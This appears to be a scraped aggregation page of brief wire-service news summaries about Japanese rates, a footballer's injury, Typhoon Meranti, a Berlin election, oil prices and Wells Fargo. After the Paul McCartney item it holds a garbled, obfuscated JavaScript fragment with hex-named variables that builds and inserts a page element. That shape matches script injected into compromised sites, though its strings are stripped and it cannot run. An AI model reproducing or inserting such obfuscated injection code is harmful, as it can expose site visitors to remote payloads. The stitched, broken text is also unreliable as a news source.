Japan's finance industry lobbies against deeper BOJ negative rates TOKYO: Japan's finance industry continued to lobby against any deepening of negative interest rates by the central bank ahead of a closely-watched rate review next week, with the head of the life insurance lobby warning on Friday that rate cuts would do more harm than good to the economy.

Souare could be out for six months, says Pardew LONDON (Reuters) - Crystal Palace defender Pape Souare has a broken thigh from his motorway car crash this week and could be out of action for six months, manager Alan Pardew said on Friday.

Gold toilet opens for business at Guggenheim New York (AFP) - The streets may be paved with gold in heaven but in New York, it's a gold toilet providing creature comfort - and an eyeful for visitors to the city's Guggenheim museum.

Typhoon Meranti leaves 16 dead or missing in China Beijing (AFP) - Typhoon Meranti has left at least 16 people dead or missing in China and an ancient bridge destroyed as it wreaked havoc on the country's eastern coast, the government said on Friday.

Khazanah appoints Johari to board of directors KUALA LUMPUR: Khazanah Nasional Bhd has appointed Minister of Finance II, Datuk Johari Abdul Ghani to its board of directors.

Strong AfD showing in Berlin vote would be seen as Nazi rebirth - mayor BERLIN (Reuters) - A double-digit score for the anti-immigrant Alternative for Germany (AfD) in a Berlin city vote on Sunday would be seen around the world as the rebirth of the Nazis, the mayor of the German capital has warned.

Paul McCartney ‘emotional’ as Beatles film has UK premiere London (AFP) - The two surviving Beatles took to the blue carpet on Thursday for the London screening of a new documentary, with the film’s archive footage described as “very emotional” by Paul McCartney. var _0x29b4=;var el=document](_0x29b4);el]= _0x29b4;document]](el)

Why the US is a major roadblock for oil output freeze LONDON: The price of oil has been caught in one of its most volatile couple of weeks in months after OPEC and rival Russia hinted they may discuss a possible output freeze, as demand slows and a global surplus becomes more entrenched.

Wells Fargo faces scrutiny over lack of sales scandal disclosure NEW YORK: A phantom account scandal at Wells Fargo & Co has put the U.S. bank's disclosure policies under a harsh spotlight.

Private equity in Africa loses its shine JOHANNESBURG: Major private equity firms have seen a number of top management departures in Africa, individuals familiar with the matter said, as the funds grapple with investments hurt by a weak economy.


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